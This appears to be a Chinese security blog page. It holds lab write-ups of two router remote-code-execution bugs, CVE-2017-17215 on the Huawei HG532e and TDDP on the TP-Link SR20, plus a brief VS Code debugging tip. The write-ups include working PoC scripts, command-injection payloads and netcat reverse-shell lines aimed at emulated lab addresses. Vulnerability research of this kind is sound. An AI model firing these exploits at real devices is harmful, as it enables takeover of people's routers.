😀



### CVE-2017-17215 HG532e路由器远程命令执行漏洞分析

---



#### 简述

华为HG532部分定制版本存在远程代码执行漏洞。经过身份验证的攻击者可以将恶意数据包发送到`upnp`服务的端口 37215 以发起攻击。成功利用可能导致远程执行任意代码。



#### 环境配置

官方未提供固件 使用[第三方](https://gitee.com/p1piyang/backward-analysis/tree/master/CVE-2017-17215)提供的固件 固件未加密 可以直接提取出文件系统

```bash
binwalk -Me ./HG532eV100R001C01B020_upgrade_packet.bin
```



模拟环境采用手动模拟 根据了解漏洞存在于`upnp`中 经过查看 发现`upnp`架构为MIPS 32位 大端序

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230607004652.png)



从Debian[官网](https://people.debian.org/~aurel32/qemu/mipsel/)下载相关环境

- vmlinux-2.6.32-5-4kc-malta 
- debian_squeeze_mipsel_standard.qcow2



配置虚拟网卡

```bash
$ sudo tunctl -t tap0 -u `whoami`
$ sudo ifconfig tap0 10.10.10.1/24
```



启动QEMU虚拟机 账户密码root-root

```bash
$ sudo qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic -net tap,ifname=tap0 -nographic
```

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230607011048.png)



配置虚拟机网卡 配置完成后与物理机相连

```bash
$ ifconfig eth0 10.10.10.2/24
```

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230607011219.png)



使用`scp`将之前解压的文件系统传入虚拟机 挂载目录 然后使用`chroot`切换根目录

```bash
$ scp -r ./squashfs-root/ root@10.10.10.2:/root/
$ mount -o bind /dev ./squashfs-root/dev
$ mount -t proc /proc ./squashfs-root/proc
```

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230607011537.png)

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230607011604.png)



使用ssh新开一个shell连接进虚拟机 一样切换根目录

```bash
$ ssh root@10.10.10.2
$ chroot ./squashfs-root/ sh
```



使用ssh的shell 启动mic服务

```bash
$ mic
```

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230607090937.png)



mic服务会更改接口的ip地址 改回来即可

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230607091016.png)



关闭物理机`Firefox`的安全相关检测

> 先地址栏输入about:config 进入高级首选项 然后搜索security.tls.version.enable-deprecated  将默认的 false改为 true

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230607091130.png)

此时 物理机已经可以访问到路由器的Web端

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230607091258.png)

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230607092056.png)



#### 漏洞复现

POC如下

```python
import requests
 
headers = {
    "Authorization": "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"
}
 
data = '''<?xml version="1.0" ?>
 <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
  <s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">
   <NewStatusURL>;echo "1234";</NewStatusURL>
   <NewDownloadURL>HUAWEIUPNP</NewDownloadURL>
  </u:Upgrade>
 </s:Body>
</s:Envelope>
'''
requests.post('http://10.10.10.2:37215/ctrlt/DeviceUpgrade_1',headers=headers,data=data)
```

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230607093842.png)



#### 漏洞分析

根据漏洞文档 漏洞存在于upnp协议中 但是启动的是`mic` 首先先来 看看`mic`都执行了哪些操作 使用`Binary Ninja`打开`mic`



可以看到`main`函数中输出字符串`String mic now..`与程序输出吻合 可以确定main函数为执行起点

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230607174309.png)



重点关注的是`mic`与`upnp`之间的交互 搜索字符串`upnp` 可以看到在`sub_402304`和`MicMsgProc`中都有引用

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230607174522.png)



追入`sub_402304`发现 `sub_402304`由`MicMsgProc`调用 且根据函数名猜测`sub_402304`功能为通过`upnp`字符串查找应用程序 然后启动该应用程序

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230607174628.png)



追入`MicMsgProc` 发现其由`main`函数调用

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230607174838.png)



那么`upnp`启动的调用链已经明晰 `main() -> MicMsgProc() -> sub_402304()` 至此按照常理来说`upnp`服务已经启动 继续分析`upnp`即可



使用`Binary Ninja`打开`upnp` 前面基本都是一些参数配置 没有值得关注的点 可以看到在`402e50`的位置调用了`ATP_UPNP_GetMacAddr`下面调用了`ATP_UPNP_GetDeviceInfo`来获取设备情况 证明都是些基础设置

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230607175509.png)



在`402edc`处检测确定upnp已经配置启动之后 调用了`ATP_UTIL_SocketCreateServer`配置Socket相关信息 其中`0x915f=37215` 然后在`0x402f50`处开始监听 后面继续配置了一个Socket用于SSL验证 这里不再给出 总体而言`main函数`主要负责Upnp服务的启动等基础配置

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230607175714.png)



通过漏洞报告得知 存在的是一个命令执行漏洞 首要想查的就是`system` 这里可以先摸一下`system`的引用 可以看到有三个函数`sub_4031ac` `upnpRestoreState` `sub_40749c`引用了`system` 接下来就是逐一排查下 看看有没有漏洞点

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230607200525.png)



首先是`sub_4031ac` 很明显执行的指令都是不可控的 可以pass

![image-20230607200643572](/Users/du4t/Library/Application Support/typora-user-images/image-20230607200643572.png)



`upnpRestoreState`同理 pass

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230607200804.png)



`sub_40749c`有意思了 很明显在调用之前使用`snprintf`动态解析了参数 且解析的变量`var_418` `$v0_3`都与传入的参数`arg1`有关 通过函数名猜测`ATP_XML_GetChildNodeByName`是从XML中根据Name获取结点的属性值 可以怀疑其值是XML中`NewDownloadURL`和`NewStatusURL`的值

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230607200734.png)



但是这时发现针对于`sub_40748c`没有引用 怀疑是跟之前的`file_operations`结构体一样 有一个函数表 对于这种情况可以直接按照byte搜索整个程序段中是否有关于`0x40749c`的数据 通过搜索 发现一个全局变量中存在`0x40749c` 

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230607201535.png)



可以看到有三个函数引用了该变量 分别为`UPnPGetActionByName` `UpnpGetActListByActName` `ATP_UPNP_RegAction` 通过函数名基本判断前两个函数都与参数传递有关 重点关注前两个函数

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230607201640.png)



首先先来看看`UPnPGetActionByName` 其中关于`0x4060**`很明显都是刚刚看过的全局变量的附近 在`40d900`处更是直接索引到了`407c9c`也就是我们怀疑存在漏洞的位置上 而程序能不能流向该处于`UPnPGetActionByName`的参数也息息相关 

![image-20230607202230781](/Users/du4t/Library/Application Support/typora-user-images/image-20230607202230781.png)



继续一层层往上追 可以看到`UPnPGetActionByName`被`sub_40a9c8`调用

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230607224017.png)



`sub_40a9c8`被`sub_40b5b4`调用

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230607224048.png)



`sub_40b5b4`被`ATP_UPNP_Init`和`sub_40bd64`调用(最后都会回归`ATP_UPNP_Init`)

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230607224124.png)



`ATP_UPNP_Init`最终被`main`调用

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230607224212.png)



可以看到这里是必定调用的 因为端口绑定在下面 如果没有调用的话端口就不会绑定 则如果实现的话第一条调用路径为`main() -> ATP_UPNP_Init() -> sub_40b5b4() -> sub_40a9c8() -> UPnPGetActionByName() -> sub_40748c() ` 其余路径不再一一展开 大部分都是走的别的路径最后回归`ATP_UPNP_Init()` 

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230607224347.png)

静态分析到这里其实已经走进死胡同了 一个是路径过多的问题 还有就是静态分析其中函数传递的参数是不现实的 并且还要考虑到条件语句的问题 包括其实最开始这个漏洞并不是漏洞挖掘发现的 是僵尸网络攻击被抓到流量才发现的 所以放弃静态分析构建POC 且Web端没有发现`/ctrlt`相关的接口 不知道是怎么挖出来的...

[CVE] HG532e路由器远程命令执行 CVE-2017-17215漏洞分析

😀



### TP-Link SR20 本地网络远程代码执行漏洞分析及复现

---



#### 简述

TP-Link SR20 是一款支持 Zigbee 和 Z-Wave 物联网协议可以用来当控制中枢 Hub 的触屏 Wi-Fi 路由器 此远程代码执行漏洞允许用户在设备上以 root 权限执行任意命令 该漏洞存在于 TP-Link 设备调试协议(TP-Link Device Debug Protocol 英文简称 TDDP) 中  TDDP 是 TP-Link 申请了专利的调试协议 基于 UDP 运行在 1040 端口

TP-Link SR20 设备运行了 V1 版本的 TDDP 协议 V1 版本无需认证 只需往 SR20 设备的 UDP 1040 端口发送数据 且数据的第二字节为 `0x31` 时 SR20 设备会连接发送该请求设备的 TFTP 服务下载相应的文件并使用 LUA 解释器以 root 权限来执行 这就导致存在远程代码执行漏洞



#### TDDP协议解析

![](https://patentimages.storage.googleapis.com/ed/2b/54/8cd9ad104a0e59/BDA0000045923030000031.png)



#### 环境配置

固件选用[官网](https://www.tp-link.com/us/support/download/sr20/#Firmware)提供的`SR20(US)_V1_180518` 固件未加密 可以直接使用binwalk提取出文件系统

```bash
binwalk -Me ./tpra_sr20v1_us-up-ver1-2-1-P522_20180518-rel77140_2018-05-21_08.42.04.bin
```

尝试使用FirmAE模拟环境 发现可以模拟出Web服务但是无法进入Debug模式终端 故选择手动模拟



从 Debian [官网](https://people.debian.org/~aurel32/qemu/armhf/)下载 QEMU 需要的 Debian ARM 系统的三个文件

- debian_wheezy_armhf_standard.qcow2
- initrd.img-3.2.0-4-vexpress
- vmlinuz-3.2.0-4-vexpress



下载完成完成之后配置虚拟网卡

```bash
$ sudo tunctl -t tap0 -u `whoami`
$ sudo ifconfig tap0 10.10.10.1/24
```

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230605115940.png)



启动QEMU虚拟机 账户密码 root-root 

```bash
$ qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 -append "root=/dev/mmcblk0p2 console=ttyAMA0" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic
```

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230605120456.png)



配置虚拟机网卡 配置完成后网络与物理机相通

```bash
$ ifconfig eth0 10.10.10.2/24
```

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230605120624.png)



然后将文件系统打包过来之后挂载目录 并且使用`chroot`切换根目录即可

```bash
$ mount -o bind /dev ./squashfs-root/dev/
$ mount -t proc /proc/ ./squashfs-root/proc/
$ chroot squashfs-root sh
```

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230605120829.png)



物理机需要安装安装`atftpd`搭建`TFTP`来为QEMU虚拟机提供下载服务

```bash
$ sudo apt install atftpd
```

在安装之后需要修改配置文件`/etc/default/atftpd`更改一下FTP根目录方便我们操作

```conf
USE_INETD=false
# OPTIONS below are used only with init script
OPTIONS="--tftpd-timeout 300 --retry-timeout 5 --mcast-port 1758 --mcast-addr 239.239.239.0-255 --mcast-ttl 1 --maxthread 100 --verbose=5 /tftpboot"
```

启动服务

```bash
$ sudo systemctl start atftpd
```

> 如果出现`atftpd: can't bind port :69/udp` 
>
> ```bash
> $ sudo systemctl stop inetutils-inetd.service
> $ sudo systemctl restart atftpd
> ```



#### 漏洞复现

在atftp根目录下写入`payload`

```sh
function config_test(config)
  os.execute("id | nc 10.10.10.1 1337")
end
```



启动虚拟机中tddp服务

```bash
$ tddp
```

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230605121319.png)



物理机监听1337端口

```bash
$ nc -lvnp 1337
```

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230605121410.png)



调用POC

```bash
$ python3 poc.py 10.10.10.2 /payload
```

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230605121503.png)

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230605121518.png)

代码得到执行



POC如下

```python
#!/usr/bin/python3

# Copyright 2019 Google LLC.
# SPDX-License-Identifier: Apache-2.0

# Create a file in your tftp directory with the following contents:
#
#function config_test(config)
#  os.execute("telnetd -l /bin/login.sh")
#end
#
# Execute script as poc.py remoteaddr filename

import sys
import binascii
import socket

port_send = 1040
port_receive = 61000

tddp_ver = "01"
tddp_command = "31"
tddp_req = "01"
tddp_reply = "00"
tddp_padding = "%0.16X" % 00

tddp_packet = "".join([tddp_ver, tddp_command, tddp_req, tddp_reply, tddp_padding])

sock_receive = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock_receive.bind(('', port_receive))

# Send a request
sock_send = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
packet = binascii.unhexlify(tddp_packet)
argument = "%s;arbitrary" % sys.argv[2]
packet = packet + argument.encode()
sock_send.sendto(packet, (sys.argv[1], port_send))
sock_send.close()

response, addr = sock_receive.recvfrom(1024)
r = response.encode('hex')
print(r)
```



#### 逆向分析

通过漏洞复现很明显漏洞存在于`/usr/tddp`中 使用IDA进行逆向分析 并且可以通过字符串定位关键函数

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230605121503.png)



在启动时有字符串`tddp task start` 使用IDA 定位到函数`sub_936C`

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230605121913.png)

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230605122129.png)



上层继续看一眼 发现是分流 且为最顶层 故认为是main函数 那么继续分析`sub_936C` 即可

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230605122203.png)

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230605122219.png)



内部大部分函数功能都能一眼看出来 这里直接给出函数重命名后的`sub_936C` 分析后发现没有接收数据的函数 判断`sub_16418`为数据接受相关 重点转向`sub_16418` 

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230605122902.png)

发现在`sub_16418`中确实存在大量`sendto()`和`recvfrom()`确定为数据接收相关

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230605123055.png)

从32行`v18 = recvfrom(v14[9], (char *)v14 + 0xB01B, 0xAFC8u, 0, &addr, &addr_len);` 可以知道数据是存在`v14+0xB01B`的 以此为依据可以向下继续追数据相关的操作 或者可以根据之前复现时的字符串都可以定位到数据处理关键函数`sub_15E74`

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230605130032.png)

逐一看过来 发现基本都是测试和debug用的函数 直到`case 0x31`的位置

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230605132547.png)

这里调用了`CMD_FTEST_CONFIG` 进入之后发现在68行位置有shell命令拼接操作 

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230605132722.png)

向上追 发现在59行处进行的参数解析 其中`v21`为原始字符串 且`v21`指向`v10+0xB01B`很明显指向传入的数据处 很明显的命令拼接存在漏洞 就看内部有没有过滤了 追入`sub_91DC` 发现无过滤 直接得到执行 则此处存在命令注入漏洞

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230605162532.png)

这里IDA反编译有错误 可以看看Frida 可以看到如果成功加载之后会调用lua脚本中的config_test函数 此处也可以使用config_test进行命令执行

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230605164640.png)





#### 脚本编写

首先是在`sub_16418`中 因为我们想要程序流向`sub_15E74` 所以必须满足`v2==1` 且`v2 = *v20 =v14 + 0xB01B`即我们输入的第一个字节 所以第一个字节为`0x1`

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230605165020.png)

进入到`sub_15E74`后 switch case语句的判断标准是`a1[0xB01C]` 且`a1为传入的参数即v14` 而我们需要程序流入`case 0x31` 所以确定第二个字节为`0x31`

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230605165224.png)

进入到`case 0x31`后 `v21`由`v15`控制 且`v15==1` 所以`v21+=12`所以输入的字符串应该在`12` 

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230605165322.png)



##### config_test版

```python
import socket
import binascii
from pwn import *

socket_send = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
payload=p8(0x1)+p8(0x31)+p8(0x0)*10+'/payload;ss'.encode()
socket_send.sendto(payload,('10.10.10.2',1040))
```



##### 命令注入版

```python
import socket
import binascii
from pwn import *

socket_send = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
payload=p8(0x1)+p8(0x31)+p8(0x0)*10+'aa 10.10.10.1||nc 10.10.10.1 7777|/bin/sh|nc 10.10.10.1 8888 #;ss'.encode()
socket_send.sendto(payload,('10.10.10.2',1040))
```

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230605135604.png)

#### 后续更新

在后面新版固件中直接砍掉了`case 0x31` 彻底修复了漏洞(doge)

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230605172126.png)

[Misc] TP-Link SR20 远程代码执行漏洞分析

[CVE] Linux Dirty Pipe CVE-2022-0847 漏洞分析

Vscode沃日你🌵



### Macos+Vscode调试指北

---

最近在写OS 对于Vscode调试这件事真的是折腾死了 遇到的问题包括但不限于

> 1. I'm sorry, Dave, I can't do that.  Symbol format `elf32-i386' unknown

常出现在使用`brew`安装的gdb中 更新gdb版本即可解决 `brew upgrade gdb`

> 2. Debugger executable ‘/usr/local/bin/x86_64-elf-gdb‘ is not signed.

又是苹果的奇葩安全机制 根据帖子`https://www.jianshu.com/p/303bc5f53a52` 即可解决

> 3. 远程调试连接不上&&使用插件发现只能汇编调试 不能源码级调试

其实都是自己写的launch.json的锅 不需要使用任何插件 直接原版vscode即可调试

```json
{
  "configurations": [
    {
      "name": "(lldb) 启动",
      "type": "cppdbg",
      "request": "launch",
      "program": "${workspaceFolder}/BUILD/kernel.bin",
      "args": [],
      "stopAtEntry": false,
      "cwd": "${workspaceFolder}/src",
      "environment": [],
      "externalConsole": false,
      "MIMode": "gdb",
      "miDebuggerServerAddress": "10.211.55.14:1234"
    }
  ]
}
```